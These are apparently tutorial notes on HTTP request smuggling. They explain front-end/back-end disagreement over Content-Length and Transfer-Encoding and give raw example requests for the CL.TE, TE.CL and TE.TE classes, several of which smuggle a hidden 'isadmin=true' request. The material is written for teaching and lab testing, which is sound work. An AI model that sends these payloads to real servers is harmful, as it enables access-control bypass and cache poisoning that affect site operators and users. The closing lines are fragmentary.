HTTP request smuggling happens when two HTTP-processing components disagree about where one request ends and the next begins. This usually occurs between a front-end proxy or load balancer and a back-end server that parse Content-Length and Transfer-Encoding differently. The result is request desynchronization: one side thinks it has received one request while the other side sees two. These notes cover the parsing model, the core header mismatch classes, and why this issue is so dangerous in modern multi-tier web infrastructure.
Modern web applications often sit behind reverse proxies, load balancers, caches, and application servers. If those components do not interpret HTTP request boundaries identically, an attacker can abuse the gap between them.
This is fundamentally a parsing discrepancy vulnerability, not a simple input-validation bug.
An HTTP request has a request line, headers, and sometimes a body. Request smuggling focuses on how the receiving side determines the body length and therefore where the request ends.
The two critical headers are:
Content-Length: explicit body size in bytes.Transfer-Encoding: chunked: body is sent as chunks with explicit chunk boundaries.POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
q=smuggledData
Here the receiver expects exactly the specified number of body bytes.
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggledData
0
With chunked encoding, the body is parsed chunk by chunk until a zero-length chunk terminates it.
Request smuggling depends on persistent connections and request pipelining behavior. Multiple requests can flow over the same TCP connection, so if one component leaves part of the stream unread while another believes the request is complete, the leftover bytes can become a new back-end request.
Caution: this class can break production systems badly. Desync testing can poison caches, desync back-end pipelines, or cause unrelated user failures.
CL.TE means the front-end prioritizes Content-Length while the back-end prioritizes Transfer-Encoding.
POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
isadmin=true
The front-end may believe the whole stream is one request because it trusts the body length. The back-end, however, sees the chunked body end at 0 and interprets the following bytes as a new request.
TE.CL is the opposite: the front-end trusts Transfer-Encoding while the back-end trusts Content-Length.
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
isadmin=true
0
The front-end treats the chunked stream as the whole request. The back-end only consumes the shorter Content-Length portion, leaving the rest to be parsed as a separate back-end request.
TE.TE abuses inconsistent handling of multiple or malformed Transfer-Encoding headers. One side may honor or ignore a malformed TE value differently from the other.
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1
4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15
isadmin=true
0
The exact behavior depends on the proxy and back-end parser, which is why this class is environment-specific and often trickier to validate safely.
Content-Length accuracy matters during testing. If the length does not match the body as sent, the parser behavior may shift and the payload may fail or produce misleading results.
Tools may also “correct” the header automatically, which ruins a smuggling payload. During lab testing, you need tight control over the exact bytes sent.
Content-Length automatically.Content-Length and Transfer-Encoding semantics.